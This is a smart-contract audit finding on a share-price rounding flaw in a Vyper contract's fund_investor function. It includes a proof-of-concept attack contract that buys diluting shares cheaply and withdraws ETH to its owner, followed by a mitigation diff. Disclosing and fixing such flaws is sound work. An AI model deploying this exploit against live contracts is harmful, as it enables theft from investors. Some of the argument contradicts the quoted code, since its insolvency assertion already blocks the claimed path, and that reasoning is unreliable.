Impact
When investors call fund_cyfrin(1) to purchase shares, the contract calculates the current share price based on the company's net worth (company_balance minus holding_debt) divided by the number of issued shares. The investor receives shares proportional to their ETH contribution divided by this calculated share price. This mechanism ensures fair pricing where each share represents an equal fraction of the company's net worth.
Root
The calculation can produce 0 wei prices.
net_worth // issued_shares rounds down, losing precision.
No assertion that share_price > 0 before division.
Description
The share price calculation can result in zero or near-zero values when the company's net worth is less than the number of issued shares, or when the company is insolvent (holding_debt exceeds company_balance). When share_price becomes zero, the subsequent division msg.value // share_price causes a division-by-zero error. When share_price is merely very small (1-2 wei), attackers can purchase millions or billions of shares for minimal cost, completely diluting existing shareholders and gaining majority control of the company for virtually nothing.
// Root cause in the codebase with @> marks to highlight the relevant section
@payable
@internal
def fund_investor():
assert msg.value > 0, "Must send ETH!!!"
assert (
self.issued_shares <= self.public_shares_cap
), "Share cap reached!!!"
assert (self.company_balance > self.holding_debt), "Company is insolvent!!!"
# Calculate net worth - can be zero or very small
net_worth: uint256 = 0
if self.company_balance > self.holding_debt:
@> net_worth = self.company_balance - self.holding_debt
# @> CRITICAL: share_price can be 0 or near-zero
@> share_price: uint256 = (
@> net_worth // max(self.issued_shares, 1)
@> if self.issued_shares > 0
@> else INITIAL_SHARE_PRICE
@> )
# @> VULNERABILITY: Division by zero or massive share allocation
@> new_shares: uint256 = msg.value // share_price
# Cap shares if exceeding visible limit
available: uint256 = self.public_shares_cap - self.issued_shares
if new_shares > available:
new_shares = available
self.shares[msg.sender] += new_shares
self.issued_shares += new_shares
self.company_balance += msg.value
Risk
Likelihood:
-
Reason 1
The vulnerability becomes exploitable through the automatic accumulation of holding costs over time. Every hour that inventory sits in storage, the contract calculates holding costs in the _apply_holding_cost() function. When the company cannot pay these costs from company_balance, the shortfall transfers to holding_debt. This creates a natural and inevitable path toward insolvency where holding_debt >= company_balance, causing net_worth to become zero or near-zero.
-
Reason 2
Sophisticated attackers run automated monitoring systems that continuously query the contract's state variables. These bots calculate the current share price in real-time by reading company_balance, holding_debt, and issued_shares. The moment the calculated share price drops below a threshold (typically < 0.00001 ETH), the bot immediately submits a transaction to fund_cyfrin(1) with maximum gas priority to ensure execution.
Impact:
-
An attacker acquiring shares at near-zero prices gains majority ownership of the company, completely diluting existing investors and seizing control of all company operations and assets.
-
The massive share dilution triggers a cascade of economic failures that destroy the protocol's financial viability and result in total loss of investor capital.
Proof of Concept
This proof of concept demonstrates how an attacker can exploit the zero/near-zero share price vulnerability to acquire majority ownership of the company for minimal cost. The attack consists of deploying a malicious contract that monitors the company's financial state and executes a purchase when the share price drops to exploitable levels.
# AttackContract.vy - Exploits zero/near-zero share price
# @version ^0.4.1
interface CompanyGame:
def fund_cyfrin(action: uint256): payable
def get_my_shares() -> uint256: view
def withdraw_shares(): nonpayable
def company_balance() -> uint256: view
def holding_debt() -> uint256: view
def issued_shares() -> uint256: view
COMPANY: immutable(address)
owner: public(address)
@deploy
def __init__(company: address):
COMPANY = company
self.owner = msg.sender
@external
@payable
def execute_attack():
"""
Step 1: Monitor for vulnerable state
Step 2: Purchase massive shares at near-zero price
Step 3: Wait for balance recovery
Step 4: Withdraw at much higher valuation
"""
assert msg.sender == self.owner, "Only owner"
# Check if company is in vulnerable state
balance: uint256 = staticcall CompanyGame(COMPANY).company_balance()
debt: uint256 = staticcall CompanyGame(COMPANY).holding_debt()
issued: uint256 = staticcall CompanyGame(COMPANY).issued_shares()
# Calculate share price
net_worth: uint256 = 0
if balance > debt:
net_worth = balance - debt
share_price: uint256 = 0
if issued > 0:
share_price = net_worth // issued
# Exploit triggers when share price is critically low
# Example: net_worth = 0.1 ETH, issued = 100M shares
# share_price = 10^17 / 10^8 = 10^9 wei = 0.000000001 ETH
# Attack: Invest 1 ETH at this price
investment: uint256 = 1 * 10**18 # 1 ETH
# Expected shares: 1 ETH / 0.000000001 ETH = 1,000,000,000 shares
# This is 1 billion shares for just 1 ETH!
extcall CompanyGame(COMPANY).fund_cyfrin(
1, # investor action
value=investment
)
# Verify massive share acquisition
acquired_shares: uint256 = staticcall CompanyGame(COMPANY).get_my_shares()
# acquired_shares should be ~900,000,000 (capped at public_shares_cap)
assert acquired_shares > 100_000_000, "Attack failed - insufficient dilution"
@external
def withdraw_profit():
"""
After company accumulates more revenue, withdraw at higher valuation
"""
assert msg.sender == self.owner, "Only owner"
# Company has operated for a while, gained revenue
# Balance increased from sales, share price recovered
# Now each share worth more, attacker extracts disproportionate value
extcall CompanyGame(COMPANY).withdraw_shares()
# Forward stolen ETH to attacker
send(self.owner, self.balance)
Recommended Mitigation
The mitigation strategy addresses the root cause by enforcing a minimum share price floor, preventing zero-value calculations, implementing anti-dilution protections, and adding transparency features. These changes ensure that share prices remain economically rational and prevent attackers from acquiring disproportionate ownership for minimal investment.
- remove this code
@payable
@internal
def fund_investor():
assert msg.value > 0, "Must send ETH!!!"
assert (
self.issued_shares <= self.public_shares_cap
), "Share cap reached!!!"
assert (self.company_balance > self.holding_debt), "Company is insolvent!!!"
# Calculate net worth - can be zero or very small
net_worth: uint256 = 0
if self.company_balance > self.holding_debt:
@> net_worth = self.company_balance - self.holding_debt
# @> CRITICAL: share_price can be 0 or near-zero
@> share_price: uint256 = (
@> net_worth // max(self.issued_shares, 1)
@> if self.issued_shares > 0
@> else INITIAL_SHARE_PRICE
@> )
# @> VULNERABILITY: Division by zero or massive share allocation
@> new_shares: uint256 = msg.value // share_price
# Cap shares if exceeding visible limit
available: uint256 = self.public_shares_cap - self.issued_shares
if new_shares > available:
new_shares = available
self.shares[msg.sender] += new_shares
self.issued_shares += new_shares
self.company_balance += msg.value
+ add this code
@payable
@internal
def fund_investor():
assert msg.value > 0, "Must send ETH!!!"
- assert (
- self.issued_shares <= self.public_shares_cap
- ), "Share cap reached!!!"
- assert (self.company_balance > self.holding_debt), "Company is insolvent!!!"
+ assert self.issued_shares < self.public_shares_cap, "Share cap reached!!!"
+ assert not self._is_bankrupt(), "Company is bankrupt - cannot accept investments"
# Calculate net worth - can be zero or very small
net_worth: uint256 = 0
if self.company_balance > self.holding_debt:
net_worth = self.company_balance - self.holding_debt
# Calculate share price with floor
- share_price: uint256 = (
- net_worth // max(self.issued_shares, 1)
- if self.issued_shares > 0
- else INITIAL_SHARE_PRICE
- )
+ share_price: uint256 = INITIAL_SHARE_PRICE
+ if self.issued_shares > 0:
+ calculated_price: uint256 = net_worth // self.issued_shares
+ # Enforce minimum share price to prevent exploitation
+ share_price = max(calculated_price, MIN_SHARE_PRICE)
+
+ # Critical: Verify share price is non-zero
+ assert share_price > 0, "Invalid share price calculation"
# Calculate shares with safety checks
- new_shares: uint256 = msg.value // share_price
+ new_shares: uint256 = msg.value // share_price
+ assert new_shares > 0, "Investment too small for current share price"
+
+ # Prevent excessive dilution per transaction
+ assert new_shares <= MAX_SHARES_PER_PURCHASE, "Purchase exceeds maximum shares per transaction"
+
+ # Prevent excessive dilution percentage
+ if self.issued_shares > 0:
+ dilution_percentage: uint256 = (new_shares * 100) // self.issued_shares
+ assert dilution_percentage <= MAX_DILUTION_PERCENTAGE, "Dilution exceeds maximum allowed percentage"
# Cap shares if exceeding visible limit
available: uint256 = self.public_shares_cap - self.issued_shares
if new_shares > available:
new_shares = available
+
+ # Final validation
+ assert new_shares > 0, "No shares available for purchase"
self.shares[msg.sender] += new_shares
self.issued_shares += new_shares
self.company_balance += msg.value
if self.share_received_time[msg.sender] == 0:
self.share_received_time[msg.sender] = block.timestamp
log SharesIssued(investor=msg.sender, amount=new_shares)